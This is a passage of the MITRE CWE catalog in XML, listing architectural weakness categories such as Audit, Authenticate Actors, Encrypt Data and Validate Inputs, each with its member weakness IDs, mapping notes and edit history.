         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2017-06-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1009" Name="Audit" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="117" View_ID="1008"/>
            <Has_Member CWE_ID="223" View_ID="1008"/>
            <Has_Member CWE_ID="224" View_ID="1008"/>
            <Has_Member CWE_ID="532" View_ID="1008"/>
            <Has_Member CWE_ID="778" View_ID="1008"/>
            <Has_Member CWE_ID="779" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="101" Name="DEPRECATED: Struts Validation Problems" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2017-11-08">Struts Validation Problems</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1010" Name="Authenticate Actors" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="258" View_ID="1008"/>
            <Has_Member CWE_ID="259" View_ID="1008"/>
            <Has_Member CWE_ID="262" View_ID="1008"/>
            <Has_Member CWE_ID="263" View_ID="1008"/>
            <Has_Member CWE_ID="287" View_ID="1008"/>
            <Has_Member CWE_ID="288" View_ID="1008"/>
            <Has_Member CWE_ID="289" View_ID="1008"/>
            <Has_Member CWE_ID="290" View_ID="1008"/>
            <Has_Member CWE_ID="291" View_ID="1008"/>
            <Has_Member CWE_ID="293" View_ID="1008"/>
            <Has_Member CWE_ID="294" View_ID="1008"/>
            <Has_Member CWE_ID="301" View_ID="1008"/>
            <Has_Member CWE_ID="302" View_ID="1008"/>
            <Has_Member CWE_ID="303" View_ID="1008"/>
            <Has_Member CWE_ID="304" View_ID="1008"/>
            <Has_Member CWE_ID="305" View_ID="1008"/>
            <Has_Member CWE_ID="306" View_ID="1008"/>
            <Has_Member CWE_ID="307" View_ID="1008"/>
            <Has_Member CWE_ID="308" View_ID="1008"/>
            <Has_Member CWE_ID="322" View_ID="1008"/>
            <Has_Member CWE_ID="521" View_ID="1008"/>
            <Has_Member CWE_ID="593" View_ID="1008"/>
            <Has_Member CWE_ID="603" View_ID="1008"/>
            <Has_Member CWE_ID="620" View_ID="1008"/>
            <Has_Member CWE_ID="640" View_ID="1008"/>
            <Has_Member CWE_ID="798" View_ID="1008"/>
            <Has_Member CWE_ID="836" View_ID="1008"/>
            <Has_Member CWE_ID="916" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1011" Name="Authorize Actors" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="114" View_ID="1008"/>
            <Has_Member CWE_ID="15" View_ID="1008"/>
            <Has_Member CWE_ID="219" View_ID="1008"/>
            <Has_Member CWE_ID="220" View_ID="1008"/>
            <Has_Member CWE_ID="266" View_ID="1008"/>
            <Has_Member CWE_ID="267" View_ID="1008"/>
            <Has_Member CWE_ID="268" View_ID="1008"/>
            <Has_Member CWE_ID="269" View_ID="1008"/>
            <Has_Member CWE_ID="270" View_ID="1008"/>
            <Has_Member CWE_ID="271" View_ID="1008"/>
            <Has_Member CWE_ID="272" View_ID="1008"/>
            <Has_Member CWE_ID="273" View_ID="1008"/>
            <Has_Member CWE_ID="274" View_ID="1008"/>
            <Has_Member CWE_ID="276" View_ID="1008"/>
            <Has_Member CWE_ID="277" View_ID="1008"/>
            <Has_Member CWE_ID="279" View_ID="1008"/>
            <Has_Member CWE_ID="280" View_ID="1008"/>
            <Has_Member CWE_ID="281" View_ID="1008"/>
            <Has_Member CWE_ID="282" View_ID="1008"/>
            <Has_Member CWE_ID="283" View_ID="1008"/>
            <Has_Member CWE_ID="284" View_ID="1008"/>
            <Has_Member CWE_ID="285" View_ID="1008"/>
            <Has_Member CWE_ID="286" View_ID="1008"/>
            <Has_Member CWE_ID="300" View_ID="1008"/>
            <Has_Member CWE_ID="341" View_ID="1008"/>
            <Has_Member CWE_ID="359" View_ID="1008"/>
            <Has_Member CWE_ID="403" View_ID="1008"/>
            <Has_Member CWE_ID="419" View_ID="1008"/>
            <Has_Member CWE_ID="420" View_ID="1008"/>
            <Has_Member CWE_ID="425" View_ID="1008"/>
            <Has_Member CWE_ID="426" View_ID="1008"/>
            <Has_Member CWE_ID="434" View_ID="1008"/>
            <Has_Member CWE_ID="527" View_ID="1008"/>
            <Has_Member CWE_ID="528" View_ID="1008"/>
            <Has_Member CWE_ID="529" View_ID="1008"/>
            <Has_Member CWE_ID="530" View_ID="1008"/>
            <Has_Member CWE_ID="538" View_ID="1008"/>
            <Has_Member CWE_ID="551" View_ID="1008"/>
            <Has_Member CWE_ID="552" View_ID="1008"/>
            <Has_Member CWE_ID="566" View_ID="1008"/>
            <Has_Member CWE_ID="639" View_ID="1008"/>
            <Has_Member CWE_ID="642" View_ID="1008"/>
            <Has_Member CWE_ID="647" View_ID="1008"/>
            <Has_Member CWE_ID="653" View_ID="1008"/>
            <Has_Member CWE_ID="656" View_ID="1008"/>
            <Has_Member CWE_ID="668" View_ID="1008"/>
            <Has_Member CWE_ID="669" View_ID="1008"/>
            <Has_Member CWE_ID="671" View_ID="1008"/>
            <Has_Member CWE_ID="673" View_ID="1008"/>
            <Has_Member CWE_ID="708" View_ID="1008"/>
            <Has_Member CWE_ID="732" View_ID="1008"/>
            <Has_Member CWE_ID="770" View_ID="1008"/>
            <Has_Member CWE_ID="782" View_ID="1008"/>
            <Has_Member CWE_ID="827" View_ID="1008"/>
            <Has_Member CWE_ID="862" View_ID="1008"/>
            <Has_Member CWE_ID="863" View_ID="1008"/>
            <Has_Member CWE_ID="921" View_ID="1008"/>
            <Has_Member CWE_ID="923" View_ID="1008"/>
            <Has_Member CWE_ID="939" View_ID="1008"/>
            <Has_Member CWE_ID="942" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1012" Name="Cross Cutting" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="208" View_ID="1008"/>
            <Has_Member CWE_ID="392" View_ID="1008"/>
            <Has_Member CWE_ID="460" View_ID="1008"/>
            <Has_Member CWE_ID="544" View_ID="1008"/>
            <Has_Member CWE_ID="602" View_ID="1008"/>
            <Has_Member CWE_ID="703" View_ID="1008"/>
            <Has_Member CWE_ID="754" View_ID="1008"/>
            <Has_Member CWE_ID="784" View_ID="1008"/>
            <Has_Member CWE_ID="807" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1013" Name="Encrypt Data" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="256" View_ID="1008"/>
            <Has_Member CWE_ID="257" View_ID="1008"/>
            <Has_Member CWE_ID="260" View_ID="1008"/>
            <Has_Member CWE_ID="261" View_ID="1008"/>
            <Has_Member CWE_ID="311" View_ID="1008"/>
            <Has_Member CWE_ID="312" View_ID="1008"/>
            <Has_Member CWE_ID="313" View_ID="1008"/>
            <Has_Member CWE_ID="314" View_ID="1008"/>
            <Has_Member CWE_ID="315" View_ID="1008"/>
            <Has_Member CWE_ID="316" View_ID="1008"/>
            <Has_Member CWE_ID="317" View_ID="1008"/>
            <Has_Member CWE_ID="318" View_ID="1008"/>
            <Has_Member CWE_ID="319" View_ID="1008"/>
            <Has_Member CWE_ID="321" View_ID="1008"/>
            <Has_Member CWE_ID="323" View_ID="1008"/>
            <Has_Member CWE_ID="324" View_ID="1008"/>
            <Has_Member CWE_ID="325" View_ID="1008"/>
            <Has_Member CWE_ID="326" View_ID="1008"/>
            <Has_Member CWE_ID="327" View_ID="1008"/>
            <Has_Member CWE_ID="328" View_ID="1008"/>
            <Has_Member CWE_ID="330" View_ID="1008"/>
            <Has_Member CWE_ID="331" View_ID="1008"/>
            <Has_Member CWE_ID="332" View_ID="1008"/>
            <Has_Member CWE_ID="333" View_ID="1008"/>
            <Has_Member CWE_ID="334" View_ID="1008"/>
            <Has_Member CWE_ID="335" View_ID="1008"/>
            <Has_Member CWE_ID="336" View_ID="1008"/>
            <Has_Member CWE_ID="337" View_ID="1008"/>
            <Has_Member CWE_ID="338" View_ID="1008"/>
            <Has_Member CWE_ID="339" View_ID="1008"/>
            <Has_Member CWE_ID="347" View_ID="1008"/>
            <Has_Member CWE_ID="522" View_ID="1008"/>
            <Has_Member CWE_ID="523" View_ID="1008"/>
            <Has_Member CWE_ID="757" View_ID="1008"/>
            <Has_Member CWE_ID="759" View_ID="1008"/>
            <Has_Member CWE_ID="760" View_ID="1008"/>
            <Has_Member CWE_ID="780" View_ID="1008"/>
            <Has_Member CWE_ID="922" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1014" Name="Identify Actors" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="295" View_ID="1008"/>
            <Has_Member CWE_ID="296" View_ID="1008"/>
            <Has_Member CWE_ID="297" View_ID="1008"/>
            <Has_Member CWE_ID="298" View_ID="1008"/>
            <Has_Member CWE_ID="299" View_ID="1008"/>
            <Has_Member CWE_ID="345" View_ID="1008"/>
            <Has_Member CWE_ID="346" View_ID="1008"/>
            <Has_Member CWE_ID="370" View_ID="1008"/>
            <Has_Member CWE_ID="441" View_ID="1008"/>
            <Has_Member CWE_ID="599" View_ID="1008"/>
            <Has_Member CWE_ID="940" View_ID="1008"/>
            <Has_Member CWE_ID="941" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1015" Name="Limit Access" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="201" View_ID="1008"/>
            <Has_Member CWE_ID="209" View_ID="1008"/>
            <Has_Member CWE_ID="212" View_ID="1008"/>
            <Has_Member CWE_ID="243" View_ID="1008"/>
            <Has_Member CWE_ID="250" View_ID="1008"/>
            <Has_Member CWE_ID="610" View_ID="1008"/>
            <Has_Member CWE_ID="611" View_ID="1008"/>
            <Has_Member CWE_ID="73" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1016" Name="Limit Exposure" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="210" View_ID="1008"/>
            <Has_Member CWE_ID="211" View_ID="1008"/>
            <Has_Member CWE_ID="214" View_ID="1008"/>
            <Has_Member CWE_ID="550" View_ID="1008"/>
            <Has_Member CWE_ID="829" View_ID="1008"/>
            <Has_Member CWE_ID="830" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1017" Name="Lock Computer" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="645" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1018" Name="Manage User Sessions" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="384" View_ID="1008"/>
            <Has_Member CWE_ID="488" View_ID="1008"/>
            <Has_Member CWE_ID="579" View_ID="1008"/>
            <Has_Member CWE_ID="6" View_ID="1008"/>
            <Has_Member CWE_ID="613" View_ID="1008"/>
            <Has_Member CWE_ID="841" View_ID="1008"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1019" Name="Validate Inputs" Status="Draft">
         <Summary>Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.</Summary>
         <Relationships>
            <Has_Member CWE_ID="138" View_ID="1008"/>
            <Has_Member CWE_ID="150" View_ID="1008"/>
            <Has_Member CWE_ID="20" View_ID="1008"/>
            <Has_Member CWE_ID="349" View_ID="1008"/>
            <Has_Member CWE_ID="352" View_ID="1008"/>
            <Has_Member CWE_ID="472" View_ID="1008"/>
            <Has_Member CWE_ID="473" View_ID="1008"/>
            <Has_Member CWE_ID="502" View_ID="1008"/>
            <Has_Member CWE_ID="59" View_ID="1008"/>
            <Has_Member CWE_ID="601" View_ID="1008"/>
            <Has_Member CWE_ID="641" View_ID="1008"/>
            <Has_Member CWE_ID="643" View_ID="1008"/>
            <Has_Member CWE_ID="652" View_ID="1008"/>
            <Has_Member CWE_ID="74" View_ID="1008"/>
            <Has_Member CWE_ID="75" View_ID="1008"/>
            <Has_Member CWE_ID="76" View_ID="1008"/>
            <Has_Member CWE_ID="77" View_ID="1008"/>
            <Has_Member CWE_ID="78" View_ID="1008"/>
            <Has_Member CWE_ID="79" View_ID="1008"/>
            <Has_Member CWE_ID="790" View_ID="1008"/>
            <Has_Member CWE_ID="791" View_ID="1008"/>
            <Has_Member CWE_ID="792" View_ID="1008"/>
            <Has_Member CWE_ID="793" View_ID="1008"/>
            <Has_Member CWE_ID="794" View_ID="1008"/>
            <Has_Member CWE_ID="795" View_ID="1008"/>
            <Has_Member CWE_ID="796" View_ID="1008"/>
            <Has_Member CWE_ID="797" View_ID="1008"/>
            <Has_Member CWE_ID="88" View_ID="1008"/>
            <Has_Member CWE_ID="89" View_ID="1008"/>
            <Has_Member CWE_ID="90" View_ID="1008"/>
            <Has_Member CWE_ID="91" View_ID="1008"/>
            <Has_Member CWE_ID="93" View_ID="1008"/>
            <Has_Member CWE_ID="94" View_ID="1008"/>
            <Has_Member CWE_ID="943" View_ID="1008"/>
            <Has_Member CWE_ID="95" View_ID="1008"/>
            <Has_Member CWE_ID="96" View_ID="1008"/>
            <Has_Member CWE_ID="97" View_ID="1008"/>
